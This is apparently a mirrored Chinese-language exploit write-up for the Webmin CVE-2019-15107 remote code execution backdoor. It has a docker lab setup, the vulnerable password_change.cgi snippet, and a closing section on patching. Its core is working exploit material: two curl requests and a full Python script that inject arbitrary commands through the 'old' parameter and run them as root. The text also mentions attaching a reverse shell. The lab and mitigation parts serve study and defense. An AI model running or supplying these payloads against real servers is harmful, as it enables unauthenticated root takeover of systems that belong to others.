## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JINI135WII-CVE-2019-15107
# 服务器管理工具 Webmin RCE 漏洞[CVE-2019-15107]
### 摘要
[CVE-2019-15107] 是 Unix 系统中使用的基于 Web 的系统管理工具 Webmin 中出现的漏洞。该管理工具的功能中,在修改密码的代码中,特定参数未经过滤直接传递给 Shell 命令执行,从而导致任意代码执行(Remote Code Execution, RCE)。
### 环境配置与漏洞条件
使用 Webmin 1.920 版本或 1.920 之前的版本时,在修改密码的 `password_change.cgi` 中发现了漏洞。Webmin 通过 SourceForge 分发过程中被注入了恶意代码,从而导致了该漏洞。
本次复现使用 vulhub 中采用的 webmin 1.910 版本。另外,由于只有在 Webmin 的 `passwd_mode=2` 时密码修改功能才被启用,因此请在 `passwd_mode=2` 状态下搭建环境。
准备好 1.910 版本的 Webmin 发行文件 `webmin_1.910_all.deb` 后,输入以下命令来构建漏洞环境:
root@kitploit:~
docker compose up -d
> `Dockerfile` 和 `docker-entrypoint.sh` 文件参考了 vulhub 预先构建的格式,并根据本地文件进行了重新配置。
密码修改需要 `user`、`old`、`new1`、`new2` 等我们熟悉的参数。其中,存在一段直接执行 `old` 参数值的代码。
以下是 1.910 版本 `password_change.cgi` 文件的一部分。`qx/$in{'old'}/` 就是上述执行 `old` 值的代码。通过控制该值即可实现任意代码执行。
root@kitploit:~
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
### 复现步骤
访问 Webmin 的 password_change.cgi,通过操控 `old` 变量发送请求即可复现漏洞。
### PoC 代码
无论使用 curl 还是 python,只要能向 password_change.cgi 发送请求即可。三个示例均以在 `old` 中插入命令 `id` 来输出 uid 为目标。
1. **curl(POST)**
root@kitploit:~
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
2. **curl(GET)**
root@kitploit:~
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
3. **python**
root@kitploit:~
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# 忽略 HTTPS 证书
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# 在 old 参数中输入命令
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 命令
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
可以如下执行:
root@kitploit:~
python3 PoC.py -t your-ip:10000 -c "id"
### 执行结果

通过上述方式,在 `old` 参数中插入任意命令即可直接执行。从结果可以看到 uid 均为 0,即以 root 权限执行。
也就是说,该 [CVE-2019-15107] 漏洞可以以 root 权限执行 RCE。
进一步,如果另行准备反向 shell,就可以通过连接反向 shell 获取服务器的 shell。
漏洞复现完成后,可以通过以下代码停止服务:
root@kitploit:~
docker compose down
### 应对措施
最简单的方法是更新 webmin。
以下是更新至 1.930 版本后变化的代码。处理方式是将执行 old 值的部分直接删除。
root@kitploit:~
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
如果需要保留代码执行部分,也可以通过插入验证 `old` 输入值的代码来解决。